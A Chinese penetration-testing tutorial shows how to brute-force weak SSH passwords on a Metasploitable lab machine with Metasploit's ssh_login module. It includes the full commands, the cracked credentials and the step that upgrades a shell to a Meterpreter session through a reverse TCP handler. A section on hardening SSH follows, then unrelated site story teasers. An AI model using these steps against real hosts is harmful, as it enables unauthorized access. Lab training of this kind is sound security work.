Metasploit实战:SSH漏洞攻击

SSH弱口令破解

如果在设置SSH服务时,管理员设置了容易被猜解出来的用户名和密码(弱口令)。那么测试人员就可以使用对应的密码工具进行暴力破解弱口令。破解出来就可以使用对应的用户名和密码登录系统。

下面使用msfconsole对ssh弱口令进行破解:

1、登录msfconsole

➜  ~ msfconsole 

2、查找对应模块

msf5 > search -S auxiliary ssh

Matching Modules
================

   Name                                                        Disclosure Date  Rank       Check  Description
   ----                                                        ---------------  ----       -----  -----------
   auxiliary/dos/windows/ssh/sysax_sshd_kexchange              2013-03-17       normal     No     Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service
   auxiliary/fuzzers/ssh/ssh_kexinit_corrupt                                    normal     No     SSH Key Exchange Init Corruption
   auxiliary/fuzzers/ssh/ssh_version_15                                         normal     No     SSH 1.5 Version Fuzzer
   auxiliary/fuzzers/ssh/ssh_version_2                                          normal     No     SSH 2.0 Version Fuzzer
   auxiliary/fuzzers/ssh/ssh_version_corrupt                                    normal     No     SSH Version Corruption
   auxiliary/scanner/http/cisco_firepower_login                                 normal     Yes    Cisco Firepower Management Console 6.0 Login
   auxiliary/scanner/http/gitlab_user_enum                     2014-11-21       normal     Yes    GitLab User Enumeration
   auxiliary/scanner/ssh/apache_karaf_command_execution        2016-02-09       normal     Yes    Apache Karaf Default Credentials Command Execution
   auxiliary/scanner/ssh/cerberus_sftp_enumusers               2014-05-27       normal     Yes    Cerberus FTP Server SFTP Username Enumeration
   auxiliary/scanner/ssh/detect_kippo                                           normal     Yes    Kippo SSH Honeypot Detector
   auxiliary/scanner/ssh/eaton_xpert_backdoor                  2018-07-18       normal     Yes    Eaton Xpert Meter SSH Private Key Exposure Scanner
   auxiliary/scanner/ssh/fortinet_backdoor                     2016-01-09       normal     Yes    Fortinet SSH Backdoor Scanner
   auxiliary/scanner/ssh/juniper_backdoor                      2015-12-20       normal     Yes    Juniper SSH Backdoor Scanner
   auxiliary/scanner/ssh/karaf_login                                            normal     Yes    Apache Karaf Login Utility
   auxiliary/scanner/ssh/libssh_auth_bypass                    2018-10-16       normal     Yes    libssh Authentication Bypass Scanner
   auxiliary/scanner/ssh/ssh_enumusers                                          normal     Yes    SSH Username Enumeration
   auxiliary/scanner/ssh/ssh_identify_pubkeys                                   normal     Yes    SSH Public Key Acceptance Scanner
   auxiliary/scanner/ssh/ssh_login                                              normal     Yes    SSH Login Check Scanner
   auxiliary/scanner/ssh/ssh_login_pubkey                                       normal     Yes    SSH Public Key Login Scanner
   auxiliary/scanner/ssh/ssh_version                                            normal     Yes    SSH Version Scanner

3、选择对应模块,并设置参数:

msf5 > use auxiliary/scanner/ssh/ssh_login
msf5 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/wordlists/metasploit/piata_ssh_userpass.txt
USERPASS_FILE => /usr/share/wordlists/metasploit/piata_ssh_userpass.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 10.0.2.5
RHOSTS => 10.0.2.5
msf5 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting                                         Required  Description
   ----              ---------------                                         --------  -----------
   BLANK_PASSWORDS   false                                                   no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                       yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                   no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                   no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                   no        Add all users in the current database to the list
   PASSWORD                                                                  no        A specific password to authenticate with
   PASS_FILE                                                                 no        File containing passwords, one per line
   RHOSTS            10.0.2.5                                                yes       The target address range or CIDR identifier
   RPORT             22                                                      yes       The target port
   STOP_ON_SUCCESS   false                                                   yes       Stop guessing when a credential works for a host
   THREADS           1                                                       yes       The number of concurrent threads
   USERNAME                                                                  no        A specific username to authenticate as
   USERPASS_FILE     /usr/share/wordlists/metasploit/piata_ssh_userpass.txt  no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                                                   no        Try the username as the password for all users
   USER_FILE                                                                 no        File containing usernames, one per line
   VERBOSE           false                                                   yes       Whether to print output for all attempts

4、执行暴力破解

msf5 auxiliary(scanner/ssh/ssh_login) > run

[+] 10.0.2.5:22 - Success: 'user:user' 'uid=1001(user) gid=1001(user) groups=1001(user) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 1 opened (10.0.2.12:42799 -> 10.0.2.5:22) at 2019-07-09 10:05:04 -0400
[+] 10.0.2.5:22 - Success: 'postgres:postgres' 'uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 2 opened (10.0.2.12:41479 -> 10.0.2.5:22) at 2019-07-09 10:07:31 -0400
[+] 10.0.2.5:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 3 opened (10.0.2.12:37033 -> 10.0.2.5:22) at 2019-07-09 10:32:43 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_login) > id
[*] exec: id

uid=0(root) gid=0(root) groups=0(root)
msf5 auxiliary(scanner/ssh/ssh_login) > pwd
[*] exec: pwd

/root

重注payload,获取Meterpreter Shell

1、切换登录用户

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -l

Active sessions
===============

  Id  Name  Type         Information                          Connection
  --  ----  ----         -----------                          ----------
  2         shell linux  SSH postgres:postgres (10.0.2.5:22)  10.0.2.12:41479 -> 10.0.2.5:22 (10.0.2.5)
  3         shell linux  SSH msfadmin:msfadmin (10.0.2.5:22)  10.0.2.12:37033 -> 10.0.2.5:22 (10.0.2.5)

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1...

whoami
user

2、获取Meterpreter Shell

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -u 3
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [3]

[*] Upgrading session ID: 3
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.0.2.12:4433 
[*] Sending stage (914728 bytes) to 10.0.2.5
[*] Meterpreter session 4 opened (10.0.2.12:4433 -> 10.0.2.5:37897) at 2019-07-09 11:25:08 -0400
[*] Command stager progress: 100.00% (773/773 bytes)

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                                                            Connection
  --  ----  ----                   -----------                                                            ----------
  2         shell linux            SSH postgres:postgres (10.0.2.5:22)                                    10.0.2.12:41479 -> 10.0.2.5:22 (10.0.2.5)
  4         meterpreter x86/linux  uid=1000, gid=1000, euid=1000, egid=1000 @ metasploitable.localdomain  10.0.2.12:4433 -> 10.0.2.5:37897 (10.0.2.5)

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

SSH漏洞攻击防范指南

  1. SSH 修改默认端口

默认情况下,SSH使用22端口。为了安全,一般情况下都会修改默认端口。修改之后必须重新启动SSH服务。


修改SSH默认端口
  1. SSH 设置PGP登录

默认情况下,SSH使用用户名和密码进行远程登录。但也可以使用密钥对进行身份验证登录(公钥与私钥)。

生成SSH密钥对,使用puttygen。下载链接:https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

生成SSH密钥对

使用 ssh-keygen 命令在Linux生成.ssh目录,在.ssh下新建密钥存储文件authorized_keys,并复制私钥文件到.ssh目录下。使用命令 puttygen -L “拷贝私钥文件” ,将内容拷贝到authorized_keys文件中。


使用 ssh-keygen 命令在Linux生成.ssh目录
使用命令 puttygen -L

使用Putty客户端加载私钥文件进行连接。


使用Putty客户端加载私钥文件进行连接
  1. SSH 防御暴力破解用户账号

在Linux下可以配置不能使用用户名和密码登录,只使用SSH PGP方式验证登录。规避了SSH暴力破解。但是,不能使用用户密码登录,很大程度上存在复杂操作。


SSH 防御暴力破解用户账号g
  1. Iptables设置阈值防止暴力破解
    利用Iptables对多次连接验证错误,进行账户锁定120秒。在设置完之后,需要重新启动ssh服务。
iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent  --update --seconds 120 --hitcount 3 -j DROP

推荐汇总贴: 漏洞利用套路汇总

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 160,165评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,720评论 1 298
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,849评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,245评论 0 213
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,596评论 3 288
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,747评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,977评论 2 315
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,708评论 0 204
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,448评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,657评论 2 249
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,141评论 1 261
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,493评论 3 258
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,153评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,108评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,890评论 0 198
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,799评论 2 277
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,685评论 2 272